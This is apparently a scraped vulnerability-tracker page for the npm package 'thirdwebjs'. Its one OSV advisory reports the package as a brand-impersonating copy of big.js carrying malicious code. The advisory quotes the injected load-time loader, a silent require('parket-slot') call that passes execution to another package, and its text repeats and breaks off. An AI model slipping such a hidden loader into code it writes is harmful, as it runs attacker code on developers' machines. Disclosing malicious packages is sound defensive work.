0vulnerabilities
- Critical0 (0.0%)
- High0 (0.0%)
- Medium0 (0.0%)
- Moderate0 (0.0%)
- Low0 (0.0%)
thirdwebjs
Ecosystem: npm
Downloads:
- 0CriticalAffects 0 versions
- 0HighAffects 0 versions
- 0MediumAffects 0 versions
- 0ModerateAffects 0 versions
- 0LowAffects 0 versions
Monthly breakdown
- 0 vulnerabilities
- Critical: 0
- High: 0
- Medium: 0
- Moderate: 0
- Low: 0
Vulnerabilities (1)
Known vulnerabilities affecting thirdwebjs, based on data from OSV.
| ID | Severity | Summary | Affected versions | Published | Source |
|---|---|---|---|---|---|
| MAL-2026-6344 | Unknown | Malicious code in thirdwebjs (npm)--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (c8822953aa63581fd4fb3ea5a1511d646a56f6629e228257b37eb904efdee8e3) Package name impersonates the well-known 'thirdweb' brand but ships a verbatim copy of MikeMcl's big.js arithmetic library with an injected loader. Both entrypoints declared in package.json exports (big.js line 606 and big.mjs line 606) contain `try { const doc = require("parket-slot"); doc.from_str().then(e => {}).catch(e => {}) } catch (error) {} ` — a require() that fires at library-load time and hands execution to the sibling package 'p |
| OSV (opens in a new tab) |
--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (c8822953aa63581fd4fb3ea5a1511d646a56f6629e228257b37eb904efdee8e3) Package name impersonates the well-known 'thirdweb' brand but ships a verbatim copy of MikeMcl's big.js arithmetic library with an injected loader. Both entrypoints declared in package.json exports (big.js line 606 and big.mjs line 606) contain `try { const doc = require("parket-slot"); doc.from_str().then(e => {}).catch(e => {}) } catch (error) {} ` — a require() that fires at library-load time and hands execution to the sibling package 'p